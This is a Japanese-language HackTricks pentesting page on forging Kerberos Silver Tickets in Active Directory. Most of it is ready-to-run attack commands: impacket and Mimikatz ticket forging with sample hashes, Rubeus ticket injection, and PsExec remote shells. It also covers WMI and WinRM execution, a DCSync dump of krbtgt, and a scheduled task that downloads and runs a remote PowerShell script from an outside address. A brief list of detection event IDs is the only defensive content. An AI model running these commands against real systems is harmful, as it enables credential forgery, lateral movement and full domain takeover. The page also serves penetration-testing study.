hacktricks/windows-hardening/active-directory-methodology/silver-ticket.md

13 KiB
Raw Blame History

シルバーチケット

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

もし、ハッキングのキャリアに興味があり、解読不能なものを解読することに興味があるなら、採用しています!(流暢なポーランド語の読み書きが必要です)。

{% embed url="https://www.stmcyber.com/careers" %}

シルバーチケット

シルバーチケット攻撃は、サービスのNTLMハッシュPCアカウントハッシュなどを所有している場合に、有効なTGSを作成することに基づいています。したがって、任意のユーザーとしてカスタムTGSを偽造することで、そのサービスにアクセスすることができます。

この場合、Active DirectoryADの中でユーザーアカウントのようなものであるコンピューターアカウントのNTLMハッシュ所有されています。したがって、SMBサービスを介して管理者権限を持つマシンに入るためのチケット作成することができます。コンピューターアカウントはデフォルトで30日ごとにパスワードをリセットします。

また、AES KerberosキーAES128およびAES256を使用してチケットを偽造することが可能であり、推奨されますopsec。AESキーの生成方法については、MS-KILEのセクション4.4またはGet-KerberosAESKey.ps1を参照してください。

{% code title="Linux" %}

python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass

{% endcode %}

Windowsでは、Mimikatzを使用してチケット作成することができます。次に、チケットはRubeus注入され、最後にPsExecのおかげでリモートシェルを取得することができます。

{% code title="Windows" %}

#Create the ticket
mimikatz.exe "kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park"
#Inject in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt ticket.kirbi"
.\Rubeus.exe ptt /ticket:ticket.kirbi
#Obtain a shell
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

#Example using aes key
kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /target:labwws02.jurassic.park /service:cifs /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /ticket:srv2-cifs.kirbi

{% endcode %}

CIFSサービスは、被害者のファイルシステムにアクセスすることができるものです。他のサービスはこちらで見つけることができます:https://adsecurity.org/?page_id=183. 例えば、HOSTサービスを使用してコンピューターに_schtask_を作成することができます。その後、被害者のタスクをリストアップして動作しているか確認することができますschtasks /S <hostname>またはHOSTとRPCSSサービスを使用してコンピューターでWMIクエリを実行することもできます。テストするには:Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>

緩和策

SilverチケットイベントIDゴールデンチケットよりもステルス性が高い

  • 4624アカウントログオン
  • 4634アカウントログオフ
  • 4672管理者ログオン

ired.teamのSilver Ticketsに関する詳細情報

利用可能なサービス

サービスタイプ サービスシルバーチケット
WMI

HOST

RPCSS

PowerShellリモート操作

HOST

HTTP

OSによっては、次のものもあります

WSMAN

RPCSS

WinRM

HOST

HTTP

場合によっては、WINRMを要求するだけで済むこともあります

スケジュールされたタスク HOST
Windowsファイル共有、またはpsexec CIFS
LDAP操作、DCSyncを含む LDAP
Windowsリモートサーバー管理ツール

RPCSS

LDAP

CIFS

ゴールデンチケット krbtgt

Rubeusを使用すると、次のパラメータを使用してこれらのチケットをすべて要求することができます:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

サービスチケットの乱用

以下の例では、チケットが管理者アカウントをなりすまして取得されたと想定しています。

CIFS

このチケットを使用すると、SMB経由でC$およびADMIN$フォルダにアクセスし(公開されている場合)、リモートファイルシステムの一部にファイルをコピーすることができます。以下のようにします:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

また、psexecを使用してホスト内でシェルを取得したり、任意のコマンドを実行したりすることもできます:

{% content-ref url="../ntlm/psexec-and-winexec.md" %} psexec-and-winexec.md {% endcontent-ref %}

ホスト

この権限を持つと、リモートコンピュータでスケジュールされたタスクを生成し、任意のコマンドを実行することができます:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

これらのチケットを使用すると、被害者システムでWMIを実行することができます。

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

以下のページでwmiexecに関する詳細情報を見つけることができます:

{% content-ref url="../ntlm/wmicexec.md" %} wmicexec.md {% endcontent-ref %}

HOST + WSMAN (WINRM)

コンピューター上でのwinrmアクセスにより、それにアクセスし、PowerShellを取得することさえできます

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

次のページをチェックして、winrmを使用してリモートホストに接続する別の方法を学びましょう:

{% content-ref url="../ntlm/winrm.md" %} winrm.md {% endcontent-ref %}

{% hint style="warning" %} リモートコンピュータにアクセスするためには、winrmがアクティブでリッスンしている必要があります。 {% endhint %}

LDAP

この特権を使用すると、DCSyncを使用してDCデータベースをダンプできます

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

以下のページでDCSyncについて詳しく学びましょう:

{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}

もしハッキングのキャリアに興味があり、解読不能なものをハックしたい場合は、採用中です!(流暢なポーランド語の読み書きが必要です)。

{% embed url="https://www.stmcyber.com/careers" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥